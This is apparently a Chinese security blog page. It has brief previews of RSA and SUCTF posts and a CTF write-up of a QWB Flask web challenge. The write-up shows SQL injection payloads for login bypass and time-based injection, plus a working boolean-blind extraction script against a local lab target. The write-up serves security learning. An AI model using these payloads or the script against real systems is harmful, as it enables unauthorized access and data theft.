RSA-STUDY

RSA原理知识准备素数:素数又称质数,指在一个大于1的自然数中,除了1和此整数自身外,不能被其他自然数整除的数。 互质数:公因数只有1的两个数,叫做互质数 模运算:两个整数a,b,若它们除以正整数m所得的余数相等,则称a,b对于模m同余,记作: a ≡ b (mod m);读作:a同余于b模m,或者,a与b关于模m同余。例如:26 ≡ 14 (mod 12)。 欧拉函数:在数论,对正整数n,欧拉函数是小于n的正整数中与n互质的数的数目(φ(1)=1)。 模反元素:如果两个正整数a和n互质,那么一定可以找到整数b,使得 ab-1 被n整除,或者说ab被n除的余数是1。这时,b就叫做a的“模反元素”。

Continue Reading →

SUCTF-WEB

比赛时没时间做,官方赛后给出了writeup和docker镜像,好评。12345suctf/2018-web-multi_sqlsuctf/2018-web-homeworksuctf/2018-web-hateitsuctf/2018-web-getshellsuctf/2018-web-annonymous

Continue Reading →

QWB_python_wp

前言

通过强网杯的python题目对基于flask框架的pythonweb学习。

源码分析

SQL注入

先看一下路由文件route.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@app.before_request
def before_request():

@app.teardown_request
def shutdown_session(exception=None):
db_session.remove()

@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
@login_required
def index():

@app.route('/explore')
@login_required
def explore():

@app.route('/login', methods=['GET', 'POST'])
def login():

@app.route('/logout')
def logout():

@app.route('/register', methods=['GET', 'POST'])
def register():

@app.route('/user/<username>')
@login_required
def user(username):

@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():

@app.route('/follow/<username>')
@login_required
def follow(username):

@app.route('/unfollow/<username>')
@login_required
def unfollow(username):

我们先定位到容易出问题的登录注册功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route('/login', methods=['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if form.validate_on_submit():
user = load_user_by_username(form.username.data)
if user == -1:
flash('Something error!')
return render_template('500.html'), 500
if user == 0:
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
next_page = request.args.get('next')
if not next_page or url_parse(next_page).netloc != '':
next_page = url_for('index')
return redirect(next_page)
return render_template('login.html', title='Sign In', form=form)

login页面将username传入了load_user_by_username函数,跟进一下load_user_by_username函数

定位在models.py

1
2
3
4
5
6
7
8
def load_user_by_username(username):
msg = mysql.One("user", {"username": "'%s'" % username})
if msg != 0 and msg != -1:
user = User(id=msg[0], username=msg[1], email=msg[2],
password_hash=msg[3], note=msg[4], last_seen=msg[5])
return user
else:
return msg

将username传入了mysql.one函数里

1
2
3
4
5
6
7
8
9
def One(self, tablename, where={}, feildname=["*"], order="", where_symbols="=", l="and"):
sql = self.Sel(tablename, where, feildname, order, where_symbols, l)
try:
res = self.db_session.execute(sql).fetchone()
if res == None:
return 0
return res
except:
return -1

最终进入Sel函数,拼接出语句。

1
select * from user where username = 'altman'

尝试注入,输入用户名

1
altman' or 1=1#

成功注入,任意登录。接下来就简单了,写脚本进行bool盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding:utf-8 -*-
# -*- author:altman -*-
import re
import requests
flag=''
url='http://127.0.0.1:5000/login'
url2='http://127.0.0.1:5000/logout'
cookie={
'session':'f4589153-2c4a-4c80-b97b-b3fdf3506d65'
}

for i in range(1,100):
for j in range(33,127):
requests.get(url=url2, cookies=cookie)
x = requests.get(url=url, cookies=cookie)
csrf_token_re = r'<input id="csrf_token" name="csrf_token" type="hidden" value="(.*?)">'
token = re.findall(csrf_token_re, x.content)[0]
data = {
'username': "a' or ascii(substr(database(),%d,1))=%d#"%(i,j),
#'username': "a' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d#"%(i,j),
'password': 'asd',
'csrf_token': token
}
r = requests.post(url=url, data=data, cookies=cookie)
if 'Invalid username or password' not in r.content:
flag+=chr(j)
print flag
break

注入得到数据库的flag : QWB{us1ng_val1dator_caut1ous}

ps:其实这个登录函数并没有接受密码,他只检测了用户名是否存在。如果存在就判断登入。

继续分析查看profile页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def edit_profile():
form = EditProfileForm(current_user.username)
if form.validate_on_submit():
current_user.username = form.username.data
current_user.note = form.note.data
res = mysql.Mod("user", {"id": current_user.id}, {
"username": "'%s'" % current_user.username, "note": "'%s'" % current_user.note})
if res != 0:
flash('Your changes have been saved.')
return redirect(url_for('edit_profile'))
elif request.method == 'GET':
form.username.data = current_user.username
form.note.data = current_user.note
return render_template('edit_profile.html', title='Edit Profile',
form=form)

新建一个Editprofileform类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class EditProfileForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
note = StringField('About me', validators=[])
submit = SubmitField('Submit')

def __init__(self, original_username, *args, **kwargs):
super(EditProfileForm, self).__init__(*args, **kwargs)
self.original_username = original_username

def validate_username(self, username):
if re.match("^[a-zA-Z0-9_]+$", username.data) == None:
raise ValidationError('username has invalid charactor!')

if username.data == current_user.username:
pass
else:
user = mysql.One(
"user", {"username": "'%s'" % username.data}, ["id"])
if user != 0:
raise ValidationError('Please use a different username.')

def validate_note(self, note):
if re.match("^[a-zA-Z0-9_\'\(\) \.\_\*\`\-\@\=\+\>\<]*$", note.data) == None:
raise ValidationError("Don't input invalid charactors!")

这个类会对接受的参数进行过滤,但是我发现对note的过滤及其松散,尝试在note出进行注入。

由于没有回显,尝试延时注入

1
123' and sleep(5) and 'a'='a

成功闭合造成延时。